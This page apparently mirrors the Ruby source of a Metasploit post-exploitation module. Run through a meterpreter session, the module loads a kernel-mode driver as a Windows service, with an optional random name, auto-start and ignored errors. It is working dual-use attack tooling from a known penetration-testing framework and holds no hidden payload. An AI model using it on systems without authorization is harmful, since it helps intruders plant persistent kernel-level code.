Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/manage/driver_loader.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Windows::Priv8include Msf::Post::Windows::Services9include Msf::Post::Windows::Error1011START_TYPE = {12'demand' => 'SERVICE_DEMAND_START',13'boot' => 'SERVICE_BOOT_START',14'auto' => 'SERVICE_AUTO_START',15'disabled' => 'SERVICE_DISABLED',16'system' => 'SERVICE_SYSTEM_START'17}1819ERROR_TYPE = {20'critical' => 'SERVICE_ERROR_CRITICAL',21'normal' => 'SERVICE_ERROR_NORMAL',22'severe' => 'SERVICE_ERROR_SEVERE',23'ignore' => 'SERVICE_ERROR_IGNORE'24}2526SERVICE_TYPE = {27'kernel' => 'SERVICE_KERNEL_DRIVER',28'file_system' => 'SERVICE_FILE_SYSTEM_DRIVER',29'adapter' => 'SERVICE_ADAPTER',30'recognizer' => 'SERVICE_RECOGNIZER_DRIVER'31}3233def initialize(info = {})34super(35update_info(36info,37'Name' => 'Windows Manage Driver Loader',38'Description' => %q{39This module loads a KMD (Kernel Mode Driver) using the Windows Service API.40},41'License' => MSF_LICENSE,42'Author' => 'Borja Merino <bmerinofe[at]gmail.com>',43'Platform' => 'win',44'SessionTypes' => [ 'meterpreter' ]45)46)4748register_options(49[50OptString.new('DRIVER_PATH', [true, 'Driver path in %SYSTEMROOT%. Example: c:\\windows\\system32\\msf.sys']),51OptString.new('DRIVER_NAME', [false, 'Driver Name.']),52OptEnum.new('START_TYPE', [true, 'Start type.', 'auto', [ 'boot', 'system', 'auto', 'demand', 'disabled']]),53OptEnum.new('SERVICE_TYPE', [true, 'Service type.', 'kernel', [ 'kernel', 'file_system', 'adapter', 'recognizer']]),54OptEnum.new('ERROR_TYPE', [true, 'Error type.', 'ignore', [ 'ignore', 'normal', 'severe', 'critical']])55]56)57end5859def run60driver = datastore['DRIVER_PATH']61start = START_TYPE[datastore['START_TYPE']]62error = ERROR_TYPE[datastore['ERROR_TYPE']]63service = SERVICE_TYPE[datastore['SERVICE_TYPE']]6465name = datastore['DRIVER_NAME'].blank? ? Rex::Text.rand_text_alpha((rand(6..13))) : datastore['DRIVER_NAME']6667unless is_admin?68print_error("Administrator or better privileges needed. Try 'getsystem' first.")69return70end7172unless driver =~ Regexp.new(Regexp.escape(expand_path('%SYSTEMROOT%')), Regexp::IGNORECASE)73print_error('The driver must be inside %SYSTEMROOT%.')74return75end7677unless file_exist?(driver)78print_error("Driver #{driver} does not exist.")79return80end8182inst = install_driver(name, path: driver, starttype: start, error_control: error, service_type: service)8384if inst == Windows::Error::SUCCESS85ss = service_start(name)86case ss87when Windows::Error::SUCCESS88print_good('Driver loaded successfully.')89when Windows::Error::SERVICE_ALREADY_RUNNING90print_error('Service already started.')91when Windows::Error::SERVICE_DISABLED92print_error('Service disabled.')93else94print_error('There was an error starting the service.')95end96end97end9899def install_driver(name, opts = {})100rc = service_create(name, opts)101102if rc == Windows::Error::SUCCESS103print_status("Service object \"#{name}\" added to the Service Control Manager database.")104return true105elsif rc == Windows::Error::SERVICE_EXISTS106print_error('The specified service already exists.')107# Show ImagePath just to know if the service corresponds to the desired driver.108service = service_info(name)109print_error("Path of driver file in \"#{name}\" service: #{service[:path]}.")110else111print_error("There was an error opening the driver handler. GetLastError=#{rc}.")112end113return false114end115end116117118